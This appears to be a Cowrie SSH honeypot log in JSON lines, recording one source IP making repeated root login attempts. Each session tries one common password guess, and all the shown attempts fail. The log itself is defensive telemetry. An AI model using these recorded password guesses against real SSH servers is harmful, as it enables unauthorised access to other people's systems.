{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:25.352046Z","src_ip":"60.165.124.241","session":"fe86f4d2419e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@1234","message":"login attempt [root/abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:28.724053Z","src_ip":"60.165.124.241","session":"fe86f4d2419e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:29.962590Z","src_ip":"60.165.124.241","session":"fe86f4d2419e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43510,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ec81d1009b","protocol":"ssh","message":"New connection: 60.165.124.241:43510 (10.17.0.5:22) [session: f0ec81d1009b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:30.199635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:30.205015Z","src_ip":"60.165.124.241","session":"f0ec81d1009b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:30.452046Z","src_ip":"60.165.124.241","session":"f0ec81d1009b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123123","message":"login attempt [root/Qq123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:32.459463Z","src_ip":"60.165.124.241","session":"f0ec81d1009b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:34.291173Z","src_ip":"60.165.124.241","session":"f0ec81d1009b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48572,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c5104b478c1","protocol":"ssh","message":"New connection: 60.165.124.241:48572 (10.17.0.5:22) [session: 1c5104b478c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:35.525935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:35.536471Z","src_ip":"60.165.124.241","session":"1c5104b478c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:36.458274Z","src_ip":"60.165.124.241","session":"1c5104b478c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass1234","message":"login attempt [root/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:37.886756Z","src_ip":"60.165.124.241","session":"1c5104b478c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:39.699632Z","src_ip":"60.165.124.241","session":"1c5104b478c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54394,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b45452dbc4f","protocol":"ssh","message":"New connection: 60.165.124.241:54394 (10.17.0.5:22) [session: 2b45452dbc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:39.932020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:39.937939Z","src_ip":"60.165.124.241","session":"2b45452dbc4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:40.877569Z","src_ip":"60.165.124.241","session":"2b45452dbc4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@888","message":"login attempt [root/Admin@888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:42.268116Z","src_ip":"60.165.124.241","session":"2b45452dbc4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:44.668320Z","src_ip":"60.165.124.241","session":"2b45452dbc4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59996,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd35f0fc53f","protocol":"ssh","message":"New connection: 60.165.124.241:59996 (10.17.0.5:22) [session: 6dd35f0fc53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:45.971221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:45.981005Z","src_ip":"60.165.124.241","session":"6dd35f0fc53f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:47.897245Z","src_ip":"60.165.124.241","session":"6dd35f0fc53f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@123","message":"login attempt [root/Passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:49.524250Z","src_ip":"60.165.124.241","session":"6dd35f0fc53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:53.500924Z","src_ip":"60.165.124.241","session":"6dd35f0fc53f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41404,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7794815ec4d","protocol":"ssh","message":"New connection: 60.165.124.241:41404 (10.17.0.5:22) [session: f7794815ec4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:53.729578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:53.734476Z","src_ip":"60.165.124.241","session":"f7794815ec4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:18.601748Z","src_ip":"60.165.124.241","session":"f7794815ec4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123123","message":"login attempt [root/Root123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:19.329250Z","src_ip":"60.165.124.241","session":"f7794815ec4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.8","message":"Connection lost after 26.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:20.574962Z","src_ip":"60.165.124.241","session":"f7794815ec4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44158,"dst_ip":"10.17.0.5","dst_port":22,"session":"a317f0ae9410","protocol":"ssh","message":"New connection: 60.165.124.241:44158 (10.17.0.5:22) [session: a317f0ae9410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:20.815638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:20.820513Z","src_ip":"60.165.124.241","session":"a317f0ae9410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:21.079251Z","src_ip":"60.165.124.241","session":"a317f0ae9410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin01234","message":"login attempt [root/Admin01234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:21.831285Z","src_ip":"60.165.124.241","session":"a317f0ae9410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:23.082172Z","src_ip":"60.165.124.241","session":"a317f0ae9410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46598,"dst_ip":"10.17.0.5","dst_port":22,"session":"78aeb4f836ca","protocol":"ssh","message":"New connection: 60.165.124.241:46598 (10.17.0.5:22) [session: 78aeb4f836ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:23.345130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:23.349715Z","src_ip":"60.165.124.241","session":"78aeb4f836ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:23.612604Z","src_ip":"60.165.124.241","session":"78aeb4f836ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Asdf","message":"login attempt [root/1234Asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:24.396832Z","src_ip":"60.165.124.241","session":"78aeb4f836ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:25.653381Z","src_ip":"60.165.124.241","session":"78aeb4f836ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49622,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb216c4c6bb","protocol":"ssh","message":"New connection: 60.165.124.241:49622 (10.17.0.5:22) [session: 2bb216c4c6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:25.885229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:25.889772Z","src_ip":"60.165.124.241","session":"2bb216c4c6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:26.127753Z","src_ip":"60.165.124.241","session":"2bb216c4c6bb","protocol":"ssh"}
